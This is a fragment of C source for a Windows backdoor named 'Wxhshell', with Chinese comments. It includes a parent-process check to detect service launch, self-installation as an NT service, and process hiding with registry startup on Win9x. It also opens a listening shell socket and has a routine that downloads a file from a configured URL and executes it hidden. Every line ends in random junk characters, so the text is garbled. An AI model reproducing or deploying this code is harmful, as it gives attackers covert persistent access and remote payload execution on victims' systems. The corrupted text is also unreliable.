ULONG UniqueProcessId; \53(D7+
ULONG InheritedFromUniqueProcessId; Ph{7S43
} PROCESS_BASIC_INFORMATION; =v-qao7xCV
."HDUo2D7
PROCNTQSIP NtQueryInformationProcess; OFc Lh
nd~cpHQR^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zn!H&!8&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w +pK=R
=E E>QM
HANDLE hProcess; R<* c
PROCESS_BASIC_INFORMATION pbi; k9]M=eO
H]i.\2z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bA/,{R
if(NULL == hInst ) return 0; _>:R]2Ew
&`]Lg?J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D jzHEqiH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H> Y0R
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W8bh49
Vr%>'XN>"
if (!NtQueryInformationProcess) return 0; hDPZj#(c
>"Tivc5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8\V
if(!hProcess) return 0; S}mZU!
h!@t8R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GPyr;FV!s
yf
7Sz$Eq
CloseHandle(hProcess); pv
LA:LW2
^v5v7\!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P|0dZHpT
if(hProcess==NULL) return 0; WR5@S&fU`
$9~6M*
HMODULE hMod; |<:Owd=
char procName[255]; U"SH
fI:
unsigned long cbNeeded; ,}8|[)"
)\xDo<@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >0^oC[ B
\:7G1_o
CloseHandle(hProcess); n:TWZ.9
-MA/:EB
if(strstr(procName,"services")) return 1; // 以服务启动 9V ]{q
Vn7FbaO^
return 0; // 注册表启动 E2hy%y9Tp
} *#{V^}
\Uz7ar#,
// 主模块 d3,%Z &
int StartWxhshell(LPSTR lpCmdLine) ~tw#Q
{ |8m2i1XG
SOCKET wsl; D]P_tJI
BOOL val=TRUE; 7,^.h<@K
int port=0; O6
:GE'S
struct sockaddr_in door; lMn1e6~K
{hP_"nN#
if(wscfg.ws_autoins) Install(); vOF"p4 ^ 3
V?yTJJ21X
port=atoi(lpCmdLine); =qg;K'M5
?.*^#>-
if(port<=0) port=wscfg.ws_port; 84X/=l-c=
T(@J]Y-
WSADATA data; w# iezo. 0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J>o%6D
:"ta#g'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 47/14rY
2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +VE]
.*T
door.sin_family = AF_INET; {/u}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qD]&&"B
door.sin_port = htons(port); Exu5|0AAE
}=7?
&
b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2:8p>^g=
closesocket(wsl); CyHaFUbZ
return 1; _NwB7@ e
} ~_XK<}SK
h?D>Dfeg%
if(listen(wsl,2) == INVALID_SOCKET) { $vC}Fq
closesocket(wsl); ^8z~`he=_J
return 1; p?6`mH
} 1xf
Pe#
Wxhshell(wsl); )XFaVkQ}
WSACleanup(); I1Jhvyd?$
$FJf8u`
return 0;
<< XWL:
9ZYT#h
} ntZl(] l
ru>c\X^|
// 以NT服务方式启动 K{vn[}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bE6:pGr
{ -zSkon2Y^
DWORD status = 0; 'zUWO_(
DWORD specificError = 0xfffffff; l(B(gPvU
ab@1JAgs
serviceStatus.dwServiceType = SERVICE_WIN32; VhfMj|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; o`{@':%D`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?as1^~
serviceStatus.dwWin32ExitCode = 0; o<\uHr3
serviceStatus.dwServiceSpecificExitCode = 0; ua8Burl7
serviceStatus.dwCheckPoint = 0; )%(V.?eW
serviceStatus.dwWaitHint = 0; Q7{/ T0
7_G$&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O8mmS!
if (hServiceStatusHandle==0) return; O]1aez[
-Uj3?W
status = GetLastError(); ) 8_x
if (status!=NO_ERROR) 1SwKd*aRR?
{ phc9esz
serviceStatus.dwCurrentState = SERVICE_STOPPED; JNx;/6'd,
serviceStatus.dwCheckPoint = 0; 3~ptD5@WF
serviceStatus.dwWaitHint = 0; nf2[hx@=U
serviceStatus.dwWin32ExitCode = status; "<=HmE-;
serviceStatus.dwServiceSpecificExitCode = specificError; |jhu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\DI6O"u'
return; \Ctl(uj
} UXdnN;0
UVUoXv)N
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,ozgnhZY
serviceStatus.dwCheckPoint = 0; jqJ't)N
serviceStatus.dwWaitHint = 0; g.]S5(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0;/},B[A
} XD8Q2un
'[ zy%<2sL
// 处理NT服务事件,比如:启动、停止 VZ1u/O?ub
VOID WINAPI NTServiceHandler(DWORD fdwControl) fgW>~m.W
{ Yp@i{$IUW
switch(fdwControl) `iQ9 9
{ ] v8 .ym
case SERVICE_CONTROL_STOP: ~2L]K4Z^
serviceStatus.dwWin32ExitCode = 0; =;z42oS
serviceStatus.dwCurrentState = SERVICE_STOPPED; "T~ce@
serviceStatus.dwCheckPoint = 0; Er !s\(h
serviceStatus.dwWaitHint = 0; |.~0Ulk,
{ )1ct%rue
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \-Ipa59U
} H\^zp5/
return; Ty5}5)CRZ
case SERVICE_CONTROL_PAUSE: vdFP ^06
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q^@z]Sc[
break; VQ(l=k:}2
case SERVICE_CONTROL_CONTINUE: >&?k^nI}J
serviceStatus.dwCurrentState = SERVICE_RUNNING; [IRWm N-
break; ^)%TQ.
case SERVICE_CONTROL_INTERROGATE: 6xT"j)h
break; 3qVDHDQ?ZV
}; wyC1M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?rSm6V
} 6)#=@i`
\
C'S&
// 标准应用程序主函数 DRy,n)U&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jT $
{ ,+U,(P5>s
CGCI3Z'
// 获取操作系统版本 Gi7p`F.
OsIsNt=GetOsVer(); LO@='}D=
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,5Nf9z!hk(
P7|x=Ew;`
// 从命令行安装 b!gvvg<
if(strpbrk(lpCmdLine,"iI")) Install(); g7g^iLU
-8%[7Z]
// 下载执行文件 a`E1rK'
if(wscfg.ws_downexe) { =&-+{txs
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iRsK;)<
WinExec(wscfg.ws_filenam,SW_HIDE); '^ob3N/Y [
} xL#UMvZ>;h
@";zM&
if(!OsIsNt) { upefjwm
// 如果时win9x,隐藏进程并且设置为注册表启动 Bf+7;4-
HideProc(); svj0;x5
StartWxhshell(lpCmdLine); Ns#R`WG)
} UWIw/(Mv/]
else l0@+&Xj
if(StartFromService()) d>k"#|
// 以服务方式启动 mWiX@#,
StartServiceCtrlDispatcher(DispatchTable); cms9]
else +-d)/h.7
// 普通方式启动 96]!*}
StartWxhshell(lpCmdLine); @@~Ql
L>>Cx`ASi
return 0; tv\_&
({
}